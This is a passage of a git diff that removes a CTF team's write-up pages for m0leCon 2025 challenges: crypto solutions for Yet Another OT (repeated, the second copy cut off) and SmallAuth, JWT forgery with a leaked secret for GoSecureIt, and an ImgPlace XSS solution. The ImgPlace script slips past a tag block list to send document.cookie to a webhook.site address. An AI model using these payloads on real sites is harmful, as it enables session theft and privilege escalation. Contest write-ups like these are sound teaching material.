- Last edit: Sep 15, 2024 -

-
- - -
- - - -
- - - - - -

Yet Another OT

-

Description: Why do people always want to decrypt both messages?

- -

Disclaimer - - - - - - - - -

- -

I wasn’t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out.

- -

Introduction - - - - - - - - -

- -

Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le.

-
import random
-from hashlib import sha256
-import json
-import os
-from Crypto.Cipher import AES
-from Crypto.Util.Padding import pad
-
-random = random.SystemRandom()
-
-
-def jacobi(a, n):
-    if n <= 0:
-        raise ValueError("'n' must be a positive integer.")
-    if n % 2 == 0:
-        raise ValueError("'n' must be odd.")
-    a %= n
-    result = 1
-    while a != 0:
-        while a % 2 == 0:
-            a //= 2
-            n_mod_8 = n % 8
-            if n_mod_8 in (3, 5):
-                result = -result
-        a, n = n, a
-        if a % 4 == 3 and n % 4 == 3:
-            result = -result
-        a %= n
-    if n == 1:
-        return result
-    else:
-        return 0
-
-
-def sample(start, N):
-    while jacobi(start, N) != 1:
-        start += 1
-    return start
-
-
-class Challenge:
-    def __init__(self, N):
-        assert N > 2**1024
-        assert N % 2 != 0
-        self.N = N
-        self.x = sample(int.from_bytes(sha256(("x"+str(N)).encode()).digest(), "big"), N)
-        ts = []
-        tts = []
-        for _ in range(128):
-            t = random.randint(1, self.N)
-            ts.append(t)
-            tts.append(pow(t, N, N))
-        print(json.dumps({"vals": tts}))
-        self.key = sha256((",".join(map(str, ts))).encode()).digest()
-
-    def one_round(self):
-        z = sample(random.randint(1, self.N), self.N)
-        r0 = random.randint(1, self.N)
-        r1 = random.randint(1, self.N)
-
-        m0, m1 = random.getrandbits(1), random.getrandbits(1)
-
-        c0 = (r0**2 * (z)**m0) % self.N
-        c1 = (r1**2 * (z*self.x)**m1) % self.N
-
-        print(json.dumps({"c0": c0, "c1": c1}))
-        data = json.loads(input())
-        v0, v1 = data["m0"], data["m1"]
-        return v0 == m0 and v1 == m1
-
-    def send_flag(self, flag):
-        cipher = AES.new(self.key, AES.MODE_ECB)
-        ct = cipher.encrypt(pad(flag.encode(), 16))
-        print(ct.hex())
-
-
-FLAG = os.environ.get("FLAG", "ptm{test}")
-
-def main():
-    print("Welcome to my guessing game!")
-    N = int(input("Send me a number: "))
-    chall = Challenge(N)
-    for _ in range(128):
-        if not chall.one_round():
-            exit(1)
-    chall.send_flag(FLAG)
-
-
-if __name__ == "__main__":
-    main()
-
-
-

We can remotely interact with this service to recover the flag.

- -

Analysis - - - - - - - - -

- -

Let’s start with the functions: -jacobi(a, n) -computes the Jacobi symbol of a mod n

-

sample(start, N) -returns the first s >= start such that sample(s, N) == 1

-

Let’s look at the class Challenge now: -__init__(self, N)

-
    -
  • N is checked to be odd and greater than $2^{1024}$
  • -
  • self.x is generated from sample(int.from_bytes(sha256(("x"+str(N)).encode()).digest(), "big"), N)
  • -
  • A loop generates 128 random private values ts and their public counterpart tts
  • -
  • self.key is generated from sha256((",".join(map(str, ts))).encode()).digest()
  • -
-

one_round(self)

-
    -
  • z is generated from sample(random.randint(1, self.N), self.N)
  • -
  • r0, r1 are random integers in the range $[1, N]$
  • -
  • m0, m1 are randomly chosen from $\{0, 1\}$
  • -
  • $c_0 \equiv r_0^2 \cdot z^{m_0} \pmod N$
  • -
  • $c_1 \equiv r_1^2 \cdot (z \cdot x)^{m_1} \pmod N$
  • -
  • c0, c1 are shared and the user has to correctly guess m0, m1 to continue to the next round
  • -
-

send_flag(self, flag)

-
    -
  • encrypts the flag with AES using self.key and sends it to the user
  • -
- -

Solution - - - - - - - - -

- -

The first objective is retrieving the AES key, so from each pow(t, N, N) I had to get t. -My idea was to use Fermat’s little theorem, therefore setting N to be prime would make it so tts == ts. This allows easy recovery of self.key but it’s also a grave mistake… -The second objective is guessing m0 and m1 128 times in a row to finally get the encrypted flag and decrypt it with our key. The idea is to use theory about quadratic residues, but this is where I got stuck: if N is prime this is actually impossible as sample will always generate a correct quadratic residue and therefore these two cases are indistinguishable

-$$ -\begin{cases} - c_0 \equiv r_0^2 \cdot z \pmod N \\ - c_0 \equiv r_0^2 \pmod N -\end{cases} -$$

After the end of the CTF I asked on discord for help on figuring out where I went wrong and some competitors who solved it kindly explained it to me. -The idea is to use a different value for N. -Recovering the private key requires “decrypting” the public values which are encrypted using the usual RSA method, we expect this to be hard without knowing the factorization of N, but as we’re the ones to choose it we can simply generate some primes, take their product and decrypting is easy as we have the factorization of N. -Now that N is composite sample won’t always generate quadratic residues mod N (there is still a possibility but it’s low enough to be ignored) so as soon as the Legendre symbol of c0 for any of the prime factors of N isn’t 1 we know we must be in the case where m0 == 1 (same goes for c1and m1). -After 128 rounds we are given the encrypted flag which we can just decrypt as we have the key.

-
from Pwn4Sage.pwn import *
-from Crypto.Cipher import AES
-from Crypto.Util.Padding import unpad
-import json, hashlib
-
-r = remote('yaot.challs.m0lecon.it', 2844)
-
-primes = [random_prime(2^(32), lbound=2^31) for _ in range(33)]
-N = prod(primes)
-
-assert N > 2^1024
-
-phi = prod([p - 1 for p in primes])
-d = inverse_mod(N, phi)
-
-# Pwn4Sage doesn't have sendlineafter
-r.sendafter(b'number: ', str(N).encode() + b'\n')
-
-tts = json.loads(r.recvline().rstrip())['vals']
-
-ts = [pow(tt, d, N) for tt in tts]
-
-key = hashlib.sha256((",".join(map(str, ts))).encode()).digest()
-
-for _ in range(128):
-    data = json.loads(r.recvline().rstrip())
-
-    c0, c1 = data['c0'], data['c1']
-
-    m0 = int(any(legendre_symbol(c0, p) != 1 for p in primes))
-    m1 = int(any(legendre_symbol(c1, p) != 1 for p in primes))
-
-    payload = json.dumps({'m0': m0, 'm1': m1}).encode()
-
-    r.sendline(payload)
-
-enc_flag = bytes.fromhex(r.recvline().rstrip().decode())
-
-cipher = AES.new(key, AES.MODE_ECB)
-
-flag = unpad(cipher.decrypt(enc_flag), 16).decode()
-
-print('flag:', flag)
-
-
$ flag: ptm{t0_b3_0r_n07_t0_b3_4_qu4dr471c_r351du3?}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/writeups/m0lecon2025beginner/droidcryptor/index.html b/public/writeups/m0lecon2025beginner/droidcryptor/index.html deleted file mode 100644 index 1a21803d..00000000 --- a/public/writeups/m0lecon2025beginner/droidcryptor/index.html +++ /dev/null @@ -1,389 +0,0 @@ - - - - - - - - - - - DroidCryptor - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Reverse
- - -
Kotlin
- - -
144 points
- - -
25 solves
- - -
dadadani
- - -
- -
-

- Last edit: Dec 23, 2024 -

-
- - -
- - - -
- - - - - -

DroidCryptor

-

Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message?

- -

Introduction - - - - - - - - -

- -

- -

Source - - - - - - - - -

- -

-
# filename: file.py
-
-
-
-
-

- -

Solution - - - - - - - - -

- -

-
# filename: file.py
-
-
-
-
-
$ flag: flag{redacted}
-
-

Author: ...

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/m0lecon2025beginner/gosecureit/index.html b/public/writeups/m0lecon2025beginner/gosecureit/index.html deleted file mode 100644 index d72cc9f0..00000000 --- a/public/writeups/m0lecon2025beginner/gosecureit/index.html +++ /dev/null @@ -1,447 +0,0 @@ - - - - - - - - - - - GoSecureIt - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Golang
- - -
Leaked secret
- - -
50 points
- - -
95 solves
- - -
Schrödy
- - -
- -
-

- Last edit: Dec 23, 2024 -

-
- - -
- - - -
- - - - - -

GoSecureIt

-

Description: I’ve found this website under construction, at the moment you can only register, but I think there’s something strange in the cookie

- -

Introduction - - - - - - - - -

- -

We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code

- -

Source - - - - - - - - -

- -
// filename: secret.go
-package secret
-
-var JwtSecretKey = []byte("schrody_is_always_watching") // I don't know why it's called secret, I'll just leave it here :)
-
-

Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main.go, in fact if we open it we can see

-
// filename: main.go
-r.GET("/flag", handler.AuthMiddleware(), func(c *gin.Context) {
-		role, _ := c.Get("role")
-		if role == "admin" {
-			c.String(http.StatusOK, os.Getenv("flag"))
-		} else {
-			c.String(http.StatusForbidden, "No flag for a normal user :/")
-		}
-	})
-
-

We can see that the role value is checked to see if it is admin, in which case the flag is printed, even though with c.GET it looks like it takes a get parameter it actually takes the value from the cookie we need to re-sign.

- -

Solution - - - - - - - - -

- -

So to solve the challenge, all we have to do is modify the cookie we get when we log in by changing the role to admin and signing it with the leaked key.

-
# filename: exploit.py
-
-#!/usr/bin/python3
-import random
-import string
-
-import requests
-import jwt
-
-BASE_URL = "https://gosecureit.challs.m0lecon.it/"
-
-s = requests.Session()
-
-def string_generator(length):
-    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
-
-def sign_jwt(cookie,secret):
-    decoded_jwt = jwt.decode(cookie, secret, algorithms=["HS256"])
-    decoded_jwt['role'] = 'admin'
-    resigned_jwt = jwt.encode(decoded_jwt, secret, algorithm='HS256')
-    return resigned_jwt
-
-def register(username,password):
-    r = requests.post(BASE_URL + "register", data={"username": username, "password": password})
-    if r.status_code != 200:
-        print("[+] Failed to register")
-        exit(1)
-    else:
-        print("[+] Registered successfully")
-
-def login(username,password):
-    r = requests.post(BASE_URL + "login", data={"username": username, "password": password})
-    if r.status_code != 200:
-        print("[+] Failed to login")
-        exit(1)
-    else:
-        print("[+] Login successfully")
-
-    return r.json()
-
-def main():
-    username,password = string_generator(10),string_generator(10)
-    secret = "schrody_is_always_watching"
-    register(username,password)
-    cookies = login(username,password)
-    new_jwt = sign_jwt(cookies['token'],secret)
-    s.cookies.set('jwt', new_jwt)
-    r = s.get(BASE_URL + "flag")
-    print("Flag: " + r.text)
-
-if __name__ == "__main__":
-	main()
-
-# goodluck by @akiidjk
-
-
$ flag: ptm{Th4t'5_why_1t'5_c4ll3d_53cr3t?}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/m0lecon2025beginner/imgplace/index.html b/public/writeups/m0lecon2025beginner/imgplace/index.html deleted file mode 100644 index 994cfefa..00000000 --- a/public/writeups/m0lecon2025beginner/imgplace/index.html +++ /dev/null @@ -1,493 +0,0 @@ - - - - - - - - - - - ImgPlace - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
XSS
- - -
232 points
- - -
13 solves
- - -
dadadani
- - -
- -
-

- Last edit: Dec 23, 2024 -

-
- - -
- - - -
- - - - - -

ImgPlace

-

Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos… and become popular!

- -

Introduction - - - - - - - - -

- -

We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description

- -

Source - - - - - - - - -

- -

The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description

-
# filename: pic.js
-
-"use strict";
-
-(async () => {
-    const picPhoto = document.getElementById("picPhoto");
-    const picDesc = document.getElementById("picDesc");
-
-    const r = await fetch("/api/pic/" + window.picId);
-
-    if (r.ok) {
-        const data = await r.json();
-        picPhoto.src = data.src;
-
-        // We need to block dangerous things!
-        const blocklist = [
-            "<comment",
-            "<embed",
-            "<link",
-            "<listing",
-            "<meta",
-            "<noscript",
-            "<object",
-            "<plaintext",
-            "<script",
-            "<xmp",
-            "<style",
-            "<applet",
-            "<iframe",
-            "<img",
-            "onload",
-            "onblur",
-            "onclick",
-            "onerror",
-            "href",
-            "javascript",
-            "window",
-            "src",
-        ];
-        let description = String(data.description);
-        blocklist.forEach((word) => {
-            description = description.replace(word, "");
-        });
-
-        picDesc.innerHTML = description;
-    } else {
-        if (r.status == 401) {
-            window.location.href = "/profile";
-        } else {
-            alert("Unable to load photo!");
-        }
-    }
-})();
-
-

We can see this trivially from the code that takes ById elements are taken and the word is deleted.

- -

Solution - - - - - - - - -

- -

There are really several solutions I used the simplest one which is to take advantage of the fact that the replace is case sensitive and no lowercase is done in the code to my description

-
# filename: exploit.py
-
-#!/usr/bin/python3
-import random
-import string
-
-import requests
-from bs4 import BeautifulSoup
-
-BASE_URL = "https://imgplace.challs.m0lecon.it"
-URL_HOOK = "https://webhook.site/6a1df142-d272-4e11-8937-dbd81a33e9d2"
-
-def string_generator(length):
-    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
-
-s = requests.Session()
-
-def register(username, password):
-    r = s.post(f"{BASE_URL}/register", data={"username": username, "password": password,"confirmPassword":password})
-
-    if r.status_code != 200:
-        print("[+] Error register")
-        print(r.text)
-        exit(1)
-    else:
-        print("[+] Register success")
-
-def login(username, password):
-    r = s.post(f"{BASE_URL}", data={"username": username, "password": password})
-    if r.status_code != 200:
-        print("[+] Error login")
-        print(r.text)
-        exit(1)
-    else:
-        print("[+] Login success")
-
-def new(payload):
-    r = s.post(f"{BASE_URL}/new", data={"url": URL_HOOK, "description": payload})
-    if r.status_code != 200:
-        print("[+] Error new image")
-        print(r.text)
-        exit(1)
-    else:
-        print("[+] New Image Success")
-
-
-def main():
-    username,password = string_generator(10),string_generator(10)
-    print(f"Username: {username} Password : {password}")
-    register(username,password)
-    login(username,password)
-    payload = "<ImG SrC=x OnError=fetch(`"+URL_HOOK+"?q=${document.cookie}`)>"
-    new(payload=payload)
-    print("[+] Done")
-    print("[+] Now login to the website go to the image complete the captcha and you will get the flag on the webhook")
-
-
-if __name__ == "__main__":
-	main()
-
-# goodluck by @akiidjk
-
-
$ flag: ptm{n3v3r_tRvST_t3g_bL0ckL1sts}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/m0lecon2025beginner/index.html b/public/writeups/m0lecon2025beginner/index.html deleted file mode 100644 index 0ff6dd90..00000000 --- a/public/writeups/m0lecon2025beginner/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - - m0leCon 2025 Beginner CTF - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Web
- - -
Crypto
- - -
Rev
- - -
Misc
- - -
Pwn
- - -
- -
-

- Last edit: Dec 22, 2024 -

-
- - -
- - - -
- - - - - - -

m0leCon 2025 Beginner CTF - - - - - - - - -

- - -

Description - - - - - - - - -

- -

Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025.

-

Challenges are targeted to newcomers and students.

-

Team size limit is 4 people per team.

-

The m0leCon Beginner CTF will not award rating points on CTFTime.

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 18/20
  • -
  • Total points: 2700
  • -
  • Position: 2/385
  • -
  • Rating points: 0.0
  • -
- -

Writeups - - - - - - - - -

- - -

Crypto - - - - - - - - -

- - - -

Web - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/m0lecon2025beginner/lockeddoor/index.html b/public/writeups/m0lecon2025beginner/lockeddoor/index.html deleted file mode 100644 index d731defe..00000000 --- a/public/writeups/m0lecon2025beginner/lockeddoor/index.html +++ /dev/null @@ -1,389 +0,0 @@ - - - - - - - - - - - Locked Door - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
50 points
- - -
79 solves
- - -
meni
- - -
- -
-

- Last edit: Dec 23, 2024 -

-
- - -
- - - -
- - - - - -

Locked Door

-

Description: In front of you stands a door with a digital terminal. Will you be able to open it?

- -

Introduction - - - - - - - - -

- -

- -

Source - - - - - - - - -

- -

-
# filename: file.py
-
-
-
-
-

- -

Solution - - - - - - - - -

- -

-
# filename: file.py
-
-
-
-
-
$ flag: flag{redacted}
-
-

Author: ...

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/m0lecon2025beginner/smallauth/index.html b/public/writeups/m0lecon2025beginner/smallauth/index.html deleted file mode 100644 index f881e871..00000000 --- a/public/writeups/m0lecon2025beginner/smallauth/index.html +++ /dev/null @@ -1,489 +0,0 @@ - - - - - - - - - - - SmallAuth - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Crypto
- - -
286 points
- - -
9 solves
- - -
Rising
- - -
- -
-

- Last edit: Dec 21, 2024 -

-
- - -
- - - -
- - - - - -

SmallAuth

-

Description: I am trying to authenticate but I totally forgot the password, I am screwed!!

- -

Introduction - - - - - - - - -

- -

SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le.

-
from secret import flag, password
-import signal
-from Crypto.Util.number import (
-    bytes_to_long,
-    long_to_bytes,
-    getRandomRange,
-)
-from hashlib import sha256
-import os
-
-p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327
-assert len(password) > 64
-
-def timeout_handler(_1, _2):
-    raise TimeoutError
-
-
-class AuthProtocol:
-    def __init__(self, password: bytes):
-        super().__init__()
-        self.p = p
-        self.g = pow(bytes_to_long(password), 2, self.p)
-
-    def gen_pub_key(self):
-        self.a = getRandomRange(2, self.p)
-        self.A = pow(self.g, self.a, self.p)
-        return self.A
-
-    def gen_shared_key(self, B):
-        assert 1 < B < self.p
-        k = pow(B, self.a, self.p)
-        self.s = sha256(long_to_bytes(k)).digest()
-        return self.s
-
-    def confirm_key(self):
-        signal.signal(signal.SIGALRM, timeout_handler)
-        signal.alarm(5)
-        try:
-            challenge = input("Give me the challenge (hex): ").strip()
-            challenge = bytes.fromhex(challenge.strip())
-            (opad, ipad, challenge) = challenge[:16], challenge[16:32], challenge[32:]
-            if challenge == sha256(opad + sha256(ipad + self.s).digest()).digest():
-                pad = bytes([x^y for x, y in zip(ipad, opad)])
-                print("Response:", sha256(pad + self.s).hexdigest())
-            else:
-                print("Mmm, cannot understand this challenge.")
-        except TimeoutError:
-            ipad = os.urandom(16)
-            opad = os.urandom(16)
-            print("\nI got bored waiting for your response.")
-            print("I will start then.")
-            print(
-                f"Here is your challenge: {opad.hex()}{ipad.hex()}{sha256(opad + sha256(ipad + self.s).digest()).hexdigest()}"
-            )
-            response = input("Response? (hex): ")
-            try:
-                response = bytes.fromhex(response.strip())
-                pad = bytes([x^y for x, y in zip(ipad, opad)])
-                if response == sha256(pad + self.s).digest():
-                    return True
-                else:
-                    print("Nope sorry.")
-            except Exception as e:
-                print("Ops, error")
-        except Exception as e:
-            print("Ops, error")
-        return False
-
-
-def main():
-    print(
-        "Welcome! Please authenticate to get the flag. You should know the password, right?"
-    )
-    auth = AuthProtocol(password)
-
-    print("Here is my public key:", auth.gen_pub_key())
-    B = int(input("Give me your public key: "))
-    auth.gen_shared_key(B)
-
-    if auth.confirm_key():
-        print("Welcome!", flag)
-
-
-if __name__ == "__main__":
-    main()
-
-

The server simulates an authentication protocol: first it generates a secret shared key via a modified version of the Diffie-Hellman protocol where the generator isn’t public, then we have a 5 second window where we can interact with the verifier to check our sent challenges, finally it asks for a “challenge” which should be constructed from a sha256 hash involving the previously generated key.

- -

Solution - - - - - - - - -

- -

Without the generator it seems impossible to generate the secret key but a faulty check in gen_shared_key lets us generate it $50\%$ of the time:

-
def gen_shared_key(self, B):
-    assert 1 < B < self.p
-    k = pow(B, self.a, self.p)
-    self.s = sha256(long_to_bytes(k)).digest()
-    return self.s
-
-

The assert wants to prevent values such as 0 and multiples of self.p, but allows self.p - 1, which once raised to the self.ath power will be 1, when self.a is even, or self.p - 1 when self.a is odd. -We can therefore just guess one of the two possibilities and retry until we’re right.

-
from pwn import *
-from hashlib import sha256
-from time import sleep
-
-
-p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327
-
-def main():
-    r = remote('smallauth.challs.m0lecon.it', 5102)
-
-    r.recvuntil(b': ')
-    A = int(r.recvline().rstrip().decode())
-
-    B = p - 1
-    r.sendlineafter(b': ', str(B).encode())
-
-    s = sha256(b'\1').digest()
-
-    sleep(5)
-
-    r.recvuntil(b'challenge: ')
-    challenge = bytes.fromhex(r.recvline().rstrip().decode())
-
-    opad = challenge[:16]
-    ipad = challenge[16:32]
-    chal = challenge[32:]
-
-    pad = bytes([x^y for x, y in zip(ipad, opad)])
-    resp = sha256(pad + s).hexdigest()
-
-    r.sendlineafter(b'): ', resp.encode())
-
-    resp = r.recvline()
-    r.close()
-
-    if b'Nope' in resp:
-        main()
-    else:
-        print('flag:', resp.rstrip().decode().split(' ')[1])
-
-
-if __name__ == '__main__':
-    main()
-
-
$ flag: ptm{y0u_4r3_a_j3d1_0f_pr0t0c0l5}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/m0lecon2025teaser/index.html b/public/writeups/m0lecon2025teaser/index.html deleted file mode 100644 index b3930f42..00000000 --- a/public/writeups/m0lecon2025teaser/index.html +++ /dev/null @@ -1,380 +0,0 @@ - - - - - - - - - - - m0leCon CTF 2025 Teaser - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
- -
-

- Last edit: Sep 15, 2024 -

-
- - -
- - - -
- - - - - - -

m0leCon CTF 2025 Teaser - - - - - - - - -

- - -

Description - - - - - - - - -

- -

m0leCon CTF 2025 Teaser is an online jeopardy-style CTF organized by pwnthem0le. Top 10 teams will be invited to the final event, that will take place in Spring 2025 at Politecnico di Torino.

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 1/18
  • -
  • Total points: 100
  • -
  • Position: 71/500
  • -
  • Rating points: 2.920
  • -
- -

Writeups - - - - - - - - -

- - -

Crypto - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/m0lecon2025teaser/yetanotherot/index.html b/public/writeups/m0lecon2025teaser/yetanotherot/index.html deleted file mode 100644 index bd4e71ca..00000000 --- a/public/writeups/m0lecon2025teaser/yetanotherot/index.html +++ /dev/null @@ -1,562 +0,0 @@ - - - - - - - - - - - Yet Another OT - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Crypto
- - -
127 points
- - -
29 solves
- - -
Drago
- - -
- -
-

- Last edit: Sep 15, 2024 -

-
- - -
- - - -
- - - - - -

Yet Another OT

-

Description: Why do people always want to decrypt both messages?

- -

Disclaimer - - - - - - - - -

- -

I wasn’t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out.

- -

Introduction - - - - - - - - -

- -

Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le.

-
import random
-from hashlib import sha256
-import json
-import os
-from Crypto.Cipher import AES
-from Crypto.Util.Padding import pad
-
-random = random.SystemRandom()
-
-
-def jacobi(a, n):
-    if n <= 0:
-        raise ValueError("'n' must be a positive integer.")
-    if n % 2 == 0:
-        raise ValueError("'n' must be odd.")
-    a %= n
-    result = 1
-    while a != 0:
-        while a % 2 == 0:
-            a //= 2
-            n_mod_8 = n % 8
-            if n_mod_8 in (3, 5):
-                result = -result
-        a, n = n, a
-        if a % 4 == 3 and n % 4 == 3:
-            result = -result
-        a %= n
-    if n == 1:
-        return result
-    else:
-        return 0
-
-
-def sample(start, N):
-    while jacobi(start, N) != 1:
-        start += 1
-    return start
-
-
-class Challenge:
-    def __init__(self, N):
-        assert N > 2**1024
-        assert N % 2 != 0
-        self.N = N
-        self.x = sample(int.from_bytes(sha256(("x"+str(N)).encode()).digest(), "big"), N)
-        ts = []
-        tts = []
-        for _ in range(128):
-            t = random.randint(1, self.N)
-            ts.append(t)
-            tts.append(pow(t, N, N))
-        print(json.dumps({"vals": tts}))
-        self.key = sha256((",".join(map(str, ts))).encode()).digest()
-
-    def one_round(self):
-        z = sample(random.randint(1, self.N), self.N)
-        r0 = random.randint(1, self.N)
-        r1 = random.randint(1, self.N)
-
-        m0, m1 = random.getrandbits(1), random.getrandbits(1)
-
-        c0 = (r0**2 * (z)**m0) % self.N
-        c1 = (r1**2 * (z*self.x)**m1) % self.N
-
-        print(json.dumps({"c0": c0, "c1": c1}))
-        data = json.loads(input())
-        v0, v1 = data["m0"], data["m1"]
-        return v0 == m0 and v1 == m1
-
-    def send_flag(self, flag):
-        cipher = AES.new(self.key, AES.MODE_ECB)
-        ct = cipher.encrypt(pad(flag.encode(), 16))
-        print(ct.hex())
-
-
-FLAG = os.environ.get("FLAG", "ptm{test}")
-
-def main():
-    print("Welcome to my guessing game!")
-    N = int(input("Send me a number: "))
-    chall = Challenge(N)
-    for _ in range(128):
-        if not chall.one_round():
-            exit(1)
-    chall.send_flag(FLAG)
-
-
-if __name__ == "__main__":
-    main()
-
-
-

We can remotely interact with this service to recover the flag.

- -

Analysis - - - - - - - - -

- -

Let’s start with the functions: -jacobi(a, n) -computes the Jacobi symbol of a mod n

-

sample(start, N) -returns the first s >= start such that sample(s, N) == 1

-

Let’s look at the class Challenge now: -__init__(self, N)

-
    -
  • N is checked to be odd and greater than $2^{1024}$
  • -
  • self.x is generated from sample(int.from_bytes(sha256(("x"+str(N)).encode()).digest(), "big"), N)
  • -
  • A loop generates 128 random private values ts and their public counterpart tts
  • -
  • self.key is generated from sha256((",".join(map(str, ts))).encode()).digest()
  • -
-

one_round(self)

-
    -
  • z is generated from sample(random.randint(1, self.N), self.N)
  • -
  • r0, r1 are random integers in the range $[1, N]$
  • -
  • m0, m1 are randomly chosen from $\{0, 1\}$
  • -
  • $c_0 \equiv r_0^2 \cdot z^{m_0} \pmod N$
  • -
  • $c_1 \equiv r_1^2 \cdot (z \cdot x)^{m_1} \pmod N$
  • -
  • c0, c1 are shared and the user has to correctly guess m0, m1 to continue to the next round
  • -
-

send_flag(self, flag)

-
    -
  • encrypts the flag with AES using self.key and sends it to the user
  • -
- -

Solution - - - - - - - - -

- -

